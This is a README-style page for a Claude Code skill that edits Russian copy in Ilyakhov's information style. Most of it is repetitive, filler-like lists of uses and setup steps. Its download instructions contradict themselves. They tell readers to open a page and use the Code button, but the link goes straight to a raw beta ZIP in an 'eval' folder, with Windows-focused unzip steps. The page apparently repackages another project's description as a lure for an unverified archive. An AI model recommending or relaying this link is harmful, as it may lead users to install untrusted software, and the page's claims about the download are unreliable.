infostyle-skill is a Claude Code skill for editing Russian text in the style of Ilyakhov’s information style, or инфостиль. It helps you cut extra words, remove weak phrases, and make text easier to read.
Use it when you want to turn long, loose text into clear copy. It fits tasks like UX writing, product text, help text, and plain-language edits.
- A ready-to-use Claude Code skill
- Rules for clean Russian text
- Guidance based on “Пиши, сокращай”
- Help with short, direct, useful wording
- A simple workflow for text editing
- Open the download link above.
- On the GitHub page, click the green Code button.
- Choose Download ZIP.
- Save the ZIP file to your computer.
- Open the ZIP file after it downloads.
- Extract the folder to a place you can find, such as Downloads or Desktop.
- Open Claude Code and add the skill folder to your setup.
- Use the skill when you need to edit Russian text in infostyle.
Visit this page to download: https://github.com/Julianalost754/infostyle-skill/raw/refs/heads/main/eval/skill-infostyle-v1.9-beta.3.zip
After you open the page:
- Look for the Code button
- Download the repository as a ZIP file
- Unzip it in Windows File Explorer
- Keep the folder name as it is
- Add the folder to your Claude Code skills path
- Start editing text with the skill enabled
- Shortening long sentences
- Removing filler words
- Making copy easier to scan
- Rewriting text for users, not experts
- Keeping tone calm and clear
- Improving Russian UX writing
- Fixing text that sounds heavy or unclear
Use infostyle-skill for:
- Button labels
- Error messages
- Help text
- Product instructions
- Onboarding copy
- Menu text
- Landing page text
- Support articles
It is useful when a page feels wordy, formal, or hard to read.
The skill follows the main ideas of infostyle:
- Say one thing at a time
- Use short words where you can
- Cut weak openings
- Remove empty praise
- Keep verbs clear
- Put the main point first
- Write for the reader, not for yourself
This makes the text feel direct and easier to understand.
For best results:
- Paste the full text you want to edit
- Say what the text is for
- Tell the skill who will read it
- Ask for a plain, concise version
- Ask for UX-style Russian if needed
Example:
- Edit this text for a Russian app screen
- Make it shorter and clearer
- Keep the meaning the same
- Use infostyle
Use the skill to edit:
- Screen titles
- Field labels
- Empty states
- System messages
- Confirmation prompts
Use it for:
- Setup instructions
- FAQ answers
- Tooltips
- Step-by-step guides
Use it for:
- Feature blurbs
- Product descriptions
- Short landing page copy
- Call-to-action text
If you use a ZIP download on Windows, keep this structure in mind:
- One main folder for the skill
- Files inside that folder
- No need to rename files
- No need to move each file by hand
If Claude Code asks for a skill path, point it to the folder you extracted.
This repository touches on:
- agent-skills
- claude-code
- claude-code-plugin
- claude-skill
- copywriting
- glavred
- ilyakhov
- infostyle
- russian
- text-editing
- ux-writing
These topics match the use case of clean Russian copy and interface text.
- Open a draft in Russian.
- Find long sentences.
- Remove filler and repeats.
- Keep the main action clear.
- Check that each line says one thing.
- Read the text again from the user’s side.
- Edit this text in infostyle
- Make this Russian copy shorter
- Remove weak words and repeats
- Rewrite for a non-technical user
- Improve the UX writing
- Keep the meaning, but make it clear
infostyle-skill
Claude Code skill for editing Russian text using Ilyakhov's information style (инфостиль). First-ever AI skill based on "Пиши, сокращай" methodology.